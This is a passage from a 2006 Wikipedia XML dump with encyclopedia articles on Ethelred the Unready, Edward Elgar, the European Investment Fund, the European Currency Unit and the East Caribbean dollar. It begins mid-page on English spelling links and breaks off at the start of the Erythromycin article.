*Rules for English Spelling: [http://www.kwiznet.com/p/takeQuiz.php?ChapterID=10015&amp;CurriculumID=26 Adding Suffixes], [http://www.kwiznet.com/p/takeQuiz.php?ChapterID=10016&amp;CurriculumID=26 QU Rule], [http://www.kwiznet.com/p/takeQuiz.php?ChapterID=10017&amp;CurriculumID=26 i before e], [http://www.kwiznet.com/p/takeQuiz.php?ChapterID=10018&amp;CurriculumID=26 Silent e], [http://www.kwiznet.com/p/takeQuiz.php?ChapterID=10021&amp;CurriculumID=26 'er' vs. 'or']
*[http://www.espindle.org/whitepaper.pdf White Paper] Research based Tutoring of English Spelling
*[http://zompist.com/spell.html Hou tu pranownse Inglish] describes rules which predict a word's pronunciation from its spelling with 85% accuracy

[[Category:English spelling|*]]
[[Category:English language|Spelling, English]]&lt;!--articles defining a category also belong in the immediate supercategory/s--&gt;</text>
    </revision>
  </page>
  <page>
    <title>Ethelred the Unready</title>
    <id>10083</id>
    <revision>
      <id>40140477</id>
      <timestamp>2006-02-18T12:40:19Z</timestamp>
      <contributor>
        <username>Yst</username>
        <id>188517</id>
      </contributor>
      <comment>Corrected OE spelling: Æðelred</comment>
      <text xml:space="preserve">{{Infobox Monarch Basic 
| name=Ethelred the Unready
| title=King of England
| image=[[Image:EthelUn.jpg|Ethelred II]]&lt;!--from [[Chronicles of Abingdon]]--&gt;
| reign=[[March 18]], [[978]] - [[April 23]], [[1016]] 
| date of birth=[[968]]
| place of birth=[[Wessex, England]]
| date of death=[[April 23]], [[1016]]
| place of death=[[London, England]]
| place of burial=[[Old Saint Paul's Cathedral]]
| married=[[Aelgifu|Ælgifu]]&lt;br /&gt;[[Emma of Normandy|Emma]]
| father=[[Edgar of England|Edgar]]
| mother=[[Elfrida|Ælfthryth]]
}}

'''Ethelred the Unready''' (c. [[968]] &amp;ndash; [[April 23]], [[1016]]), also know as '''Ethelred II''' and ''Æðelred Unræd'' was [[Kingdom of England|King of England]] ([[978]] &amp;ndash; [[1013]], and [[1014]] &amp;ndash; [[1016]]).

==Early life and family==

According to [[William of Malmesbury]], Ethelred defecated in the [[baptismal font]] as a child, which led St. [[Dunstan]] to prophesy that the English monarchy would be overthrown during Ethelred's reign.  This story is, however, almost certainly a fabrication.

Ethelred succeeded to the throne aged about 10 following the death of his father [[Edgar of England|King Edgar]] and subsequent murder of his half-brother [[Edward the Martyr]].  His nickname &quot;The Unready&quot; does not mean that he was ill-prepared, but derives from the [[Anglo-Saxon]] ''unræd'' meaning &quot;without counsel&quot; or &quot;indecisive&quot;.   This could also be interpreted as a pun on his name, Æðelred, which may be understood to mean &quot;noble counsel&quot;.

Ethelred married firstly to Ælflaed, daughter of Thored, the [[ealdorman]] of [[Northumbria]]; she was the mother of four sons, including [[Edmund II of England|Edmund Ironside]]. In [[997]], he remarried to Ælfgifu, daughter of ealdorman Aethelberht, who gave him two sons, Edwig and Edgar. His third and final marriage, in [[1002]], was to [[Emma of Normandy]], whose grandnephew, [[William I of England]], would later use this relationship as the basis of his claim on the throne.

==Conflict with the Danes==

England had experienced a long period of peace after the reconquest of the [[Danelaw]] in the first half of the 10th Century.  However in [[991]] Ethelred was faced with a Viking fleet larger than any since Guthrum's &quot;Summer Army&quot; a century earlier.  This fleet was led by [[Olaf Trygvasson]], a Norwegian with ambitions to reclaim his country from Danish domination.  After initial military setbacks including the defeat of his Ealdorman [[Byrhtnoth]] at the [[Battle of Maldon]], Ethelred was able to come to terms with Olaf, who returned to [[Norway]] to gain his kingdom with mixed success.  While this arrangement won him some respite, England faced further depredations from [[Viking]] raids. Ethelred fought these off, but in many cases followed the practice of earlier kings including [[Alfred the Great]] in buying them off by payment of what was to become known as [[Danegeld]].

Ethelred ordered the massacre of the Danes living in England on [[St Brice]]'s Day ([[November 13]]) [[1002]] (as described in the chronicles of [[John of Wallingford]]), in response to which [[Sweyn Haraldsson]] started a series of determined campaigns to conquer England. In this he succeeded, but after his victory, he lived for only another five weeks.

==Death and legacy==

In 1013, Ethelred fled to [[Normandy]], seeking protection by his brother-in-law, [[Robert the Magnificent|Robert]] of Normandy, when England was over-run by [[Sweyn Haraldsson]] of Denmark and his forces. He returned in February, [[1014]], following the death of Sweyn Haraldsson. Ethelred died on [[April 23]], [[1016]], in [[London]], where he was buried.  He was succeeded by his son, [[Edmund II of England]].

Despite the steady stream of [[Viking]] attacks, Ethelred's reign was far from the disaster described by chroniclers writing well after the event.  Ethelred introduced major reforms to the machinery of government in Anglo-Saxon England, and is responsible for the introduction of Shire Reeves or [[Sheriff]]s.  The quality of the coinage, always a good indicator of the prevailing economic conditions, remained very high during his reign.

==References==
* Ann Williams: ''Æthelred the Unready : The Ill-Counselled King''. – London : Hambledon Press, 2003. – ISBN 1852853824
* Clemoes, Peter. ''The Anglo-Saxons: Studies Presented to Bruce Dickins'', 1959

{{start box}}
{{succession box|
 before=[[Edward the Martyr|Edward]]|
 title=[[List of monarchs in the British Isles|King of England]]|
 years=[[978]]&amp;ndash;[[1013]]|
 after=[[Sweyn I of Denmark|Sweyn]]
}}
{{succession box|
 before=[[Sweyn I of Denmark|Sweyn]]|
 title=[[List of monarchs in the British Isles|King of England]]|
 years=[[1014]]&amp;ndash;[[1016]]|
 after=[[Edmund II of England|Edmund II]]
}}
{{end box}}

&lt;!-- Categorization --&gt;
[[Category:960s births]]
[[Category:1016 deaths]]
[[Category:Anglo-Saxon monarchs]]
[[Category:Viking Age]]

[[de:Æthelred]]
[[es:Etelredo II el Indeciso]]
[[fr:Ethelred II d'Angleterre]]
[[he:אתלרד השני מלך אנגליה]]
[[nl:Ethelred II]]
[[ja:エゼルレッド2世 (イングランド王)]]
[[no:Ethelred II av England]]
[[pl:Etelred II Bezradny]]
[[pt:Ethelred II de Inglaterra]]
[[ru:Этельред Неразумный]]
[[sv:Ethelred II av England]]</text>
    </revision>
  </page>
  <page>
    <title>Edward Elgar</title>
    <id>10085</id>
    <revision>
      <id>40797135</id>
      <timestamp>2006-02-23T02:03:02Z</timestamp>
      <contributor>
        <username>Antandrus</username>
        <id>57658</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/66.90.161.113|66.90.161.113]] ([[User talk:66.90.161.113|talk]]) to last version by Robma</comment>
      <text xml:space="preserve">[[Image:Edward_Elgar.jpg|right|frame|Sir Edward Elgar]]
'''Sir Edward Elgar, 1st Baronet''', [[Order of Merit|OM]], [[Royal Victorian Order|GCVO]] ([[2 June]] [[1857]]&amp;nbsp;&amp;ndash; [[23 February]] [[1934]]) was an [[England|English]] [[composer]].  His first [[orchestra]]l work, ''[[Enigma Variations]]'', was greeted with acclaim.  He also composed [[oratorio]]s, [[chamber music]], [[symphony|symphonies]] and instrumental [[concerto]]s.  His compositions also include the ''[[Pomp and Circumstance Marches]]'' of which No. 1 is often sung to the words &quot;[[Land of Hope and Glory]]&quot;, notably at The Last Night of [[the Proms]].  He was appointed [[Master of the King's Musick]] in 1924.

==Biography==
===Early years===
Edward William Elgar was born in the small village of [[Lower Broadheath]] outside [[Worcester]], [[Worcestershire]], to William Elgar, a [[piano]] tuner and [[music]] dealer, and his wife Ann.  The fourth of six children, Edward Elgar had three brothers, Henry, Frederick and Francis, and two sisters, Lucy and Susannah. His mother, Ann, had converted to [[Roman Catholic Church|Catholicism]] shortly before Edward's birth, so Edward was baptised and brought up as a Roman Catholic.

Surrounded by sheet music and instruments in his father's shop in [[Worcester, England|Worcester]]'s High Street, the young Elgar became self-taught in music. On warm summer days, he would take manuscripts into the countryside to study them (he was a passionate and adventurous early [[bicycle|cyclist]] who learnt to cycle from the very early age of 5).  Thus there began for him a strong association between music and nature. As he was later to say, &quot;There is music in the air, music all around us, the world is full of it and you simply take as much as you require.&quot;

Having left school at the age of 15, he began work for a local [[solicitor]], but after a year embarked on a musical career, giving piano and violin lessons. At 22 he took up the post of bandmaster at the Worcester and County Lunatic Asylum in Powick, three miles south-west of Worcester. He composed here too; some of the pieces for the asylum orchestra (music in dance forms) were rediscovered and performed locally in 1996.

In many ways, his years as a young Worcestershire violinist were his happiest. He played in the first violins at the Worcester and Birmingham Festivals, and one great experience was to play [[Antonin Dvorak]]'s [[Symphony No. 6 (Dvorak)|Sixth Symphony]] and ''Stabat Mater'' under the composer's baton. Elgar was thrilled by Dvorak's orchestration and this remained an influence on his own style for more than a decade.

At 29, through his teaching, he met (Caroline) Alice Roberts, a Major-General's daughter (shades of [[Gilbert and Sullivan]]) and an author of verse and prose fiction. He married her three years later against the wishes of her family, giving her as an engagement present the short [[violin]] and piano piece ''Salut d'amour''. The Elgars moved to [[London]] to be closer to the centre of British musical life, and Edward started composing in earnest. The stay was unsuccessful, however, and they were obliged to return to [[Great Malvern]], where Edward could earn a living teaching.

===Growing reputation===
During the 1890s Elgar gradually built up a reputation as a composer, chiefly of works for the great choral festivals of the [[Midlands]]. ''The Black Knight'','' King Olaf'' ([[1896]]), ''The Light of Life'' and ''[[Caractacus]]'' were all modestly successful and he obtained a long-standing publisher in Novello and Company.

In [[1899]], at the age of 42, his first major orchestral work, the ''[[Enigma Variations]]'', was premiered in London under the baton of the eminent German conductor [[Hans Richter (conductor)|Hans Richter]]. It was received with general acclaim, establishing Elgar as the pre-eminent British composer of his generation.  This work is formally titled ''Variations on an Original Theme (Enigma)''.  The enigma is that although there are thirteen variations on the &quot;original theme&quot;, the 'enigma' theme, which Elgar said 'runs through and over the whole set' is never heard. Many later commentators have observed that although Elgar is today regarded as a characteristically English composer, his orchestral music and this work in particular share much with the Central European tradition typified at the time by the work of [[Richard Strauss]]. Indeed, the ''Enigma Variations'' were well-received in Germany.

The [[1900|following year]] saw the production in [[Birmingham]] of his choral setting of [[John Henry Newman|Cardinal Newman's]] poem ''[[The Dream of Gerontius]]''. Despite a disastrous first performance, the work was established within a few years as one of Elgar's greatest, and it is now regarded as one of the finest examples of English choral music from any era.

Elgar is probably best known for the ''[[Pomp and Circumstance Marches]]'' ([[1901]]).  Shortly after their composition, Elgar was asked to set the first march to words by [[A C Benson]] as a Coronation [[Ode]] to mark the coronation of [[Edward VII of the United Kingdom|King Edward VII]].  The suggestion had already been made (allegedly by the future King himself) that words should be fitted to the broad tune which formed the [[trio]] section of this march. Against the advice of his friends, Elgar suggested that Benson furnish further words to allow him to include it in the new work.  The result was ''[[Land of Hope and Glory]]'', which formed the finale of the ode and was also issued (with slightly different words) as a separate song.

Between [[1902]] and [[1914]] Elgar enjoyed phenomenal success, made four visits to the USA including one [[conducting]] tour, and earned considerable fees from the performance of his music. Between [[1905]] and [[1908]] Elgar held the post of Professor of Music at the [[University of Birmingham]]. His lectures there caused controversy owing to remarks he made about other English composers and English music in general; he was quoted as saying &quot;English music is white -- it evades everything&quot;.  The University of Birmingham's Special Collections contain an archive of letters written by Elgar.

Elgar's [[Symphony No. 1 (Elgar)|Symphony No. 1]] ([[1908]]) was given one hundred performances in its first year, and in [[1911]], the year of the completion of his [[Symphony No. 2 (Elgar)|Symphony No. 2]], he had the [[Order of Merit]] bestowed upon him.

Elgar's musical legacy is primarily orchestral, but he did write for soloists and groups of other instruments. His one work for [[brass band]], ''The [[Severn]] Suite'' (later arranged by the composer for orchestra), remains an important part of the brass band repertoire. It is occasionally performed in its arrangement by [[Sir Ivor Atkins]] for [[organ (music)|organ]] as the composer's second Organ Sonata; Elgar's first, much earlier (1895) Organ Sonata was written specifically for the instrument in a highly orchestral style, and remains a frequently-performed part of the English Romantic organ repertoire.

===Later years===
With the advent of [[World War I]] his music began to fall out of fashion, and after the death of his wife in 1920 he wrote little of importance. Shortly before her death he composed the elegiac [[Cello Concerto (Elgar)|Cello Concerto]].

Elgar lived in the village of [[Kempsey, England|Kempsey]] from [[1923]] to [[1927]], during which time he was made [[Master of the King's Musick]].

At the end of his life Elgar began work on an [[opera]], ''The Spanish Lady'', and accepted a commission from the [[BBC]] to compose a Third Symphony.  His final illness prevented their completion.

[[Image:Edward Elgar statue.png|200px|thumb|left|The statue of Edward Elgar at the end of Worcester High Street]]
== Posthumous recognition ==
The house in Lower Broadheath where Elgar was born is now a museum devoted to him.

The statue of him at the end of Worcester High Street stands facing the cathedral, only yards from where his father's shop once stood.  

Another statue of the composer is at the top of Church Street in Malvern, overlooking the town and giving visitors an opportunity to stand next to the composer in the shadow of the Hills which he so often regarded.

A portrait of Sir Edward Elgar can be found on the [[British banknotes|Bank of England twenty pound note]].

Elgar's sketches for his third symphony were elaborated in the 1990s by the composer [[Anthony Payne]].

==Quotes==

&quot;[Elgar's music is] wonderful in its heroic melancholy.&quot;

''[[William Butler Yeats]] on the incidental music for &quot;Grania and Diarmid&quot;.''

==Honours and Awards==
* [[1904]] - Elgar was made a [[knight bachelor]].  This entitled him to the title 'Sir Edward Elgar', but no post-nominal letters.
* [[1911]] - he was admitted to the [[Order of Merit]].  He was now 'Sir Edward Elgar OM'.
* [[1924]] - he was made [[Master of the King's Musick]]
* [[1928]] - Elgar was created a [[Royal Victorian Order|Knight Commander]] of the [[Royal Victorian Order]], becoming 'Sir Edward Elgar OM KCVO'. 
* [[1931]] - he was made a [[baronet]], becoming 'Sir Edward Elgar Bt OM KCVO'.  A baronetcy is an hereditary knighthood, but is passed on only through the male line.  As Elgar had only a daughter, the baronetcy became extinct on his death.
* [[1933]] - Elgar was promoted within the Royal Victorian Order to  [[Royal Victorian Order|Knight Grand Cross]].  He was now 'Sir Edward Elgar Bt OM GCVO'.

{{clear}}
==Works==
: ''See also [[:Category:Compositions by Edward Elgar]]''

===Orchestral Works===

*''Froissart'', Overture for orchestra, Op.19	(1890)
*Serenade for string orchestra, Op.20 (revised version of Three Pieces for string orchestra, 1888/ 1892)	
*''[[Enigma Variations|Variations on an original Theme '''Enigma''']]'' for orchestra, Op.36 (1899)
*''[[Sea Pictures]]'', Song Cycle for contralto and orchestra, Op.37 (1897-99)
*''Cockaigne (In London Town)'', Overture for orchestra, Op.40 (1900/01)
*''[[Pomp and Circumstance Marches|Pomp and Circumstance]]'', Marches No.1 and 2 for orchestra, Op.39 (1901)
*Funeral March from ''Grania and Diarmid'' for orchestra, Op.42 (1902, from the incidental music by [[William Butler Yeats]])
*''Dream Children'', Two pieces for chamber orchestra, Op.43 (1902)
*''[[In the South (Alassio)]]'', Concert Overture for orchestra, Op.50 (1903/04)
*''[[Pomp and Circumstance Marches|Pomp and Circumstance]]'', March No.3 for orchestra (1904)
*''[[Introduction_and_Allegro_(Elgar)|Introduction and Allegro]]'' for string quartet and string orchestra, Op.47 (1904/05)
*''[[Pomp and Circumstance Marches|Pomp and Circumstance]]'', March No.4 for orchestra (1907)
*''The Wand of Youth'', Suite No. 1 for orchestra, Op.1a (1867-71/1907)	
*''The Wand of Youth'', Suite No. 2 for orchestra, Op.1b (1867-71/1908)	
*''[[Symphony No. 1 (Elgar)|Symphony No.1 in A flat]]'' for orchestra, Op.55 (1907/08)
*''Elegy'' for string orchestra, Op.58 (1909)
*''Romance'' for bassoon and orchestra, Op.62 (1909)
*[[Violin Concerto (Elgar)|Concerto for Violin and Orchestra in B minor]], Op.61 (1909/10)
*''[[Symphony No. 2 (Elgar)|Symphony No.2 in E flat]]'' for orchestra, Op.63 (1909-1911)
*''Coronation March'' for orchestra, Op.65 (1911)
*''The Crown of India'', Suite for orchestra, Op.66 (1911/12)	
*''Falstaff'', Symphonic Study for orchestra, Op.68 (1913) 
*''Sospiri'' for string orchestra and harp, Op.70 (1914)
*''Polonia'', Symphonic Prelude for orchestra, Op.76 (1915)
*''The Starlight Express'', Suite for vocal soloists and orchestra, Op.78 (from the inicidental music to the play by [[Algernon Blackwood]], 1915/1916)	
*''[[The Sanguine Fan]]'' for orchestra, Op.81 (1917)
*[[Cello Concerto (Elgar)|Concerto for Cello and Orchestra in E minor]], Op.85  (1918/1919)
*''Empire March'' for orchestra  (1924)	
*Suite from ''Arthur'' for chamber orchestra (from the incidental music to [[Laurence Binyon]]'s ''Arthur'', 1924)
*Minuet from ''Beau Brummel'' for orchestra (1928/1929)
*''[[Pomp and Circumstance Marches|Pomp and Circumstance]]'', March No.5 for orchestra (1930)
*''Nursery Suite'' for orchestra (1931)	
*''Severn Suite'' for orchestra, Op.87a (1930/1932)
*''Mina'' for chamber orchestra (1933)		
*''Symphony No.3'' for orchestra, Op.88 (sketches, 1932-34, elaborated by Anthony Payne 1972-1997)
*''Piano Concerto'', Op.90 (sketches, elaborated by Robert Walker)

===Works for chorus and orchestra (Cantatas, Oratorios etc.)===
*''The Black Knight'', Symphony/Cantata for chorus and orchestra, Op.25  (1889-92)	
*''From the Bavarian Highlands'' for chorus and orchestra, Op.27 (1895/1896)
*''The Light of Life (Lux Christi)'', Oratorio for soloists, chorus and orchestra, Op.29  (1896)
*''The Banner of St. George'', Ballad for chorus and orchestra, Op.33 (1897)	
*''Te Deum &amp; Benedictus'' for chorus and orchestra, Op.34 (1897)
*''Caractacus'', Cantata for soloists, chorus and orchestra, Op.35 (1897/98)	
*''[[The Dream of Gerontius]]'', Oratorio for soloists, chorus and orchestra, Op.38 (1899/1900)
*''Coronation Ode'' for soloists, chorus and orchestra, Op.44 (1901/02, rev. 1911)		
*''[[The Apostles (Elgar)|The Apostles]]'', Oratorio for soloists, chorus and orchestra, Op.49  (1902/03)	
*''The Kingdom'', Oratorio for soloists, chorus and orchestra, Op.51 (1901-06)	
*''The Crown of India'', Imperial Masque for soloists, chorus and orchestra, Op.66 (1911/12)
*''[[The Music Makers]]'', Ode for soloists, chorus and orchestra, Op.69  (1912)
*''The Spirit of England'' for soprano/tenor, chorus and orchestra, Op.80 (1915-17)
*''The Smoking Cantata'' for baritone soloist and orchestra. Written in 1919, this piece was probably never intended to be performed and was given the absurd opus number of 1001. Its duration is less than a minute.

===Chamber Music===
*Sonata for violin and piano, Op.82 (1918)
*String Quartet in E minor, Op.83 (1918)
*Piano Quintet in A minor, Op.84  (1918/19)
*''Soliloquy'' for solo oboe (1930)

===Works for Solo Piano===
*In Smyrna (1905)

==See also==
* [[Dorabella Cipher]]

== References and Bibliography ==
*Michael Kennedy &amp;ndash; ''Portrait of Elgar'' 3rd ed. (Oxford: Clarendon Press, 1987)
*Jerrold Northrop Moore &amp;ndash; ''Edward Elgar: a creative life'' (Oxford: OUP, 1984)
*William H. Reed &amp;ndash; ''Elgar as I knew him'' (Oxford: OUP, 1989)
*Percy Young &amp;ndash; ''Alice Elgar: enigma of a Victorian lady'' (London: Dobson, 1978)
*Percy Young &amp;ndash; ''Elgar OM: a study of a musician'' 2nd ed. (London: Purnell, 1973)
*James Hamilton-Patterson &amp;ndash; ''Gerontius'' (Soho Press, 1989) is a historical novel that gives an imagined account of a cruise to South America that Elgar took in 1923.

==External links==
*[http://www.elgar.org/ The Elgar Society and The Elgar Foundation]
*[http://www.elgar.org/3chronol.htm A detailed chronology of Elgar's works with information and articles to all works, by The Elgar Society]
*[http://www.geocities.com/hansenk69/elgarpage.html Excellent Page of his life, recordings &amp; more]

{{start box}}
{{succession box | title=[[Master of the Queen's Music|Master of the King's Musick]] | before=[[Walter Parratt]] | after=[[Henry Walford Davies]] | years=1924&amp;ndash;1934
}}
{{succession box | title=[[London Symphony Orchestra|Principal Conductors, London Symphony Orchestra]] | before=[[Hans Richter (conductor)|Hans Richter]] | years=1911&amp;ndash;1912 | after=[[Arthur Nikisch]]
}}
{{end box}}

[[Category:1857 births|Elgar, Edward]]
[[Category:1934 deaths|Elgar, Edward]]
[[Category:20th century classical composers|Elgar, Edward]]
[[Category:Baronets in the Baronetage of the United Kingdom|Elgar, Edward, 1st Baronet]]
[[Category:Natives of Worcestershire|Elgar, Edward]]
[[Category:Romantic composers|Elgar, Edward]]
[[Category:English composers|Elgar, Edward]]
[[Category:Members of the Order of Merit|Elgar, Edward]]
[[Category:Knights Grand Cross of the Royal Victorian Order|Elgar, Edward]]

[[da:Edward Elgar]]
[[de:Edward Elgar]]
[[et:Edward Elgar]]
[[es:Edward Elgar]]
[[eo:Edward ELGAR]]
[[fr:Edward Elgar]]
[[hu:Edward Elgar]]
[[nl:Edward Elgar]]
[[ja:エドワード・エルガー]]
[[no:Edward Elgar]]
[[pl:Edward Elgar]]
[[pt:Edward Elgar]]
[[sl:Edward Elgar]]
[[fi:Edward Elgar]]
[[sv:Edward Elgar]]</text>
    </revision>
  </page>
  <page>
    <title>European Investment Fund</title>
    <id>10086</id>
    <revision>
      <id>41895389</id>
      <timestamp>2006-03-02T12:57:34Z</timestamp>
      <contributor>
        <ip>84.6.106.96</ip>
      </contributor>
      <text xml:space="preserve">{{Politics of the European Union}}

The '''European Investment Fund''', established in [[1994]], is a [[European Union]] agency for the provision of finance to [[Small and Medium-sized Enterprise|SME]]s (small and medium-sized enterprises) headquartered in [[Luxembourg]].

It does not lend money to SMEs directly; rather it provides finance through private banks. Its main operations are in the areas of [[venture capital]] and guaranteeing loans. Its [[shareholder]]s are: the [[European Investment Bank]] (59.15%); the [[European Communities]], represented by the [[European Commission]] (30.00%); and 34 privately-owned EU financial institutions (10.85%).

{{EU-stub}}

==See also==
* [[Institutions of the European Union]]

==Sources==
* http://www.fei.eu.int/Attachments/pub_corporate/eif_ar2004_en.pdf (1.3Mb)

[[Category:Economy of the European Union|European Investment Fund]]

[[cs:Evropský investiční fond]]
[[es:Fondo Europeo de Inversiones]]
[[mk:Европски инвестициски фонд]]</text>
    </revision>
  </page>
  <page>
    <title>European Currency Unit</title>
    <id>10087</id>
    <revision>
      <id>38800702</id>
      <timestamp>2006-02-08T19:15:13Z</timestamp>
      <contributor>
        <username>Tsca.bot</username>
        <id>601940</id>
      </contributor>
      <minor />
      <comment>robot  adding: pl</comment>
      <text xml:space="preserve">The '''European Currency Unit''' ('''₠'''; '''ECU''') was a basket of the currencies of the [[European Community]] member states, used as the unit of account of the European Community before being replaced by the [[euro]]. The [[European Exchange Rate Mechanism]] attempted to minimize fluctuations between member state currencies and the ECU. The ECU was also used in some international financial transactions.

The ECU was conceived on [[13 March]], [[1979]] as an internal accounting unit. It had the [[ISO 4217|ISO 4217 currency code]] [[XEU]].

On [[January 1]] [[1999]], the [[euro]] (with the code [[Euro|EUR]]) replaced the ECU, at the value EUR 1 = XEU 1. Unlike the ECU, the euro is a real [[currency]], although not all member states participate (for details on Euro membership see [[Eurozone]]).

Until [[1999]], all member states that participated in the ERM, also participated in the ECU. 

Due to the ECU being used in some international financial transactions, there was a concern that foreign courts might not recognize the euro as the legal successor to the ECU. This was unlikely to be a problem, since it is a generally accepted principle of [[private international law]] that states determine their currencies, and that therefore states would accept the [[European Union]] legislation to that effect. However, for abundant caution, several foreign jurisdictions adopted legislation to ensure a smooth transition. Of particular importance here were the [[U.S.]] states of [[Illinois]] and [[New York]], under whose laws a large proportion of international financial contracts are made. Both these states passed legislation to ensure that the euro was recognized as successor to the ECU.

Although the acronym ECU is formed from [[English language|English]] words, at the same time the word ''ecu'' was a reference to an ancient [[France|French]] coin of the same name. That was one (perhaps the main) reason that a new name was devised for its successor currency, ''euro'', which was felt to not favour any single language. 

The currency's symbol, ₠ ([[Unicode|U]]+20A0), comprises an interlaced C and E, which are the initial letters of the phrase '[[European Community]]' in many [[European languages]].  However, this symbol was not widely used: few systems at the time could render it and in any case banks preferred (as with all currencies) to use the ISO code [[XEU]].

 

{| style=&quot;text-align:right;&quot; align=center border=1 cellpadding=3
|+ '''National currency weights to the ECU value'''
|-
! Currency
! align=left | 13.03.1979-&lt;br&gt;16.09.1984
! align=left | 17.09.1984-&lt;br&gt;21.09.1989
! align=left | 21.09.1989-&lt;br&gt;31.12.1999
|-
| align=left | [[Belgian Franc|BEF]] || 9.64% || 8.57% || 8.183%
|-
| align=left | [[Deutsche Mark|DEM]] || 32.98%|| 32.08% || 31.955%
|-
| align=left | [[Danish Krone|DKK]] || 3.06% || 2.69% || 2.653%
|-
| align=left | [[Spanish Peseta|ESP]] || - || - || 4.138%
|-
| align=left | [[French Franc|FRF]] || 19.83% || 19.06%|| 20.316%
|-
| align=left | [[Pound Sterling|GBP]] || 13.34% || 14.98%|| 12.452%
|-
| align=left | [[Drachma|GRD]] || - || 1.31% || 0.437%
|-
| align=left | [[Irish Pound|IEP]] || 1.15% || 1.20% || 1.086%
|-
| align=left | [[Italian Lira|ITL]] || 9.49% || 9.98% || 7.840%
|-
| align=left | [[Luxembourg Franc|LUF]] || - || - || 0.322%
|-
| align=left | [[Guilder|NLG]] || 10.51% || 10.13% || 9.98%
|-
| align=left | [[Portuguese escudo|PTE]] || - || - || 0.695%
|}

== See also ==
* [[Asian Currency Unit]]
* [[European Monetary System]]

[[Category:Currencies of the Eurozone]]
[[Category:Currency]]

[[cs:ECU]]
[[da:European Currency Unit]]
[[de:European Currency Unit]]
[[es:ECU]]
[[fr:European Currency Unit]]
[[hu:Európai Valutaegység]]
[[nl:Europese rekeneenheid]]
[[no:ECU]]
[[pl:ECU]]
[[fi:ECU]]
[[sv:European Currency Unit]]</text>
    </revision>
  </page>
  <page>
    <title>East Caribbean dollar</title>
    <id>10088</id>
    <revision>
      <id>40062620</id>
      <timestamp>2006-02-17T21:33:09Z</timestamp>
      <contributor>
        <username>Thomas Blomberg</username>
        <id>407237</id>
      </contributor>
      <minor />
      <text xml:space="preserve">[[Image:One_east_caribbean_dollar.gif|right|1 East Caribbean Dollar coin]]

The '''East Caribbean dollar''' ([[currency code]] '''XCD''') is the [[currency]] of eight members of the [[Organisation of Eastern Caribbean States]]. It has existed since [[1965]] and is normally abbreviated with the [[dollar sign]] '''$''', or alternatively '''EC$''' to distinguish it from other [[dollar]]-denominated currencies. It is divided into 100 [[cent (currency)|cent]]s.

The East Caribbean dollar is [[Fixed exchange rate|pegged]] to the [[US dollar]] at USD 1= XCD 2.7000 since [[1976]].

Six of the members using the XCD are independent states:  [[Antigua and Barbuda]], [[Dominica]], [[Grenada]], [[Saint Kitts and Nevis]], [[Saint Lucia]], and [[Saint Vincent and the Grenadines]]. The other two are [[United Kingdom|British]] [[Overseas territory|overseas territories]]: [[Anguilla]] and [[Montserrat]]. The only OECS member state not using the Eastern Caribbean dollar is [[British Virgin Islands]].

The Eastern Caribbean dollar is issued by the [[Eastern Caribbean Central Bank]] based in Saint Kitts and Nevis. The bank was established by an agreement (the Eastern Caribbean Central Bank Agreement) signed at [[Port of Spain]] on [[July 5]] [[1983]], as successor to the Eastern Caribbean Currency Authority.  The currency is a successor to the [[West Indies dollar]] used by the extinct [[West Indies Federation]].  


[[Coin]]s in circulation 
*1 cent
*2 cent
*5 cent
*10 cent
*25 cent
*1 dollar
[[Banknote]]s in circulation 
*5 dollars
*10 dollars
*20 dollars
*50 dollars
*100 dollars

==Current XCD exchange rates== 
[http://finance.yahoo.com/currency/convert?amt=1&amp;from=AUD&amp;to=XCD&amp;submit=Convert AUD] | 
[http://finance.yahoo.com/currency/convert?amt=1&amp;from=CAD&amp;to=XCD&amp;submit=Convert CAD] | 
[http://finance.yahoo.com/currency/convert?amt=1&amp;from=EUR&amp;to=XCD&amp;submit=Convert EUR] | 
[http://finance.yahoo.com/currency/convert?amt=1&amp;from=GBP&amp;to=XCD&amp;submit=Convert GBP] | 
[http://finance.yahoo.com/currency/convert?amt=1&amp;from=INR&amp;to=XCD&amp;submit=Convert INR] | 
[http://finance.yahoo.com/currency/convert?amt=1&amp;from=NZD&amp;to=XCD&amp;submit=Convert NZD] |
[http://finance.yahoo.com/currency/convert?amt=1&amp;from=USD&amp;to=XCD&amp;submit=Convert USD]  

==See also==
* [[Currency Union]]

==External links==
* [http://www.eccb-centralbank.org Eastern Caribbean Central Bank]
* [http://www.eccb-centralbank.org/Currency/security-feat.asp Banknotes]
* [http://www.eccb-centralbank.org/Currency/cur_newcoins.asp Coins]

{{AmericanCurrencies}}

[[Category:Monetary unions]]

[[ca:Dòlar del Carib Oriental]]
[[de:Ostkaribischer Dollar]]
[[es:Dólar Caribe-Este]]
[[fr:Dollar de la Caraïbe orientale]]
[[he:דולר מזרח קריבי]]
[[it:Dollaro dei Caraibi Orientali]]
[[ja:東カリブ・ドル]]
[[lt:Rytų Karibų doleris]]
[[nl:Oost-Caribische dollar]]
[[pl:Dolar wschodniokaraibski]]
[[sv:Östkaribisk dollar]]</text>
    </revision>
  </page>
  <page>
    <title>Erythromycin</title>
    <id>10090</id>
    <revision>
      <id>41604750</id>
      <timestamp>2006-02-28T13:14:59Z</timestamp>
      <contributor>
        <username>Fuhghettaboutit</username>
        <id>665998</id>
      </contributor>
      <minor />
      <comment>opthalmic---&gt;ophthalmic</comment>
      <text xml:space="preserve">'''Erythromycin''' is a [[macrolide]] [[antibiotic]] which has an antimicrobial spectrum similar to or slightly wider than that of [[penicillin]], and is often used for people who have an [[allergy]] to penicillins. For respiratory tract infections, it has better coverage of atypical organisms, including [[mycoplasma]]. It is also used to treat outbreaks of [[chlamydia]], [[syphilis]], and [[gonorrhea]]. Structurally, this macrocyclic compound contains a 14-membered [[lactone]] ring with ten asymmetric centers and two sugars (L-cladinose and D-desoamine), making it a compound very difficult to produce via synthetic methods.

Erythromycin is produced from a strain of the [[actinomyces]] ''[[Saccaropolyspora erythraea]]'', formerly known as ''Streptomyces erythraeus''.

{| border=&quot;1&quot; cellpadding=&quot;2&quot; cellspacing=&quot;0&quot; width=&quot;250px&quot; align=&quot;right&quot; style=&quot;border-collapse:collapse;&quot;
|-
|bgcolor=&quot;#ffffff&quot; align=&quot;center&quot; colspan=2|[[Image:Erythromycin.png|center|200px|Chemical structure of erythromycin.]]&lt;br /&gt;&lt;small&gt;Erythromycin A&lt;/small&gt;
|-
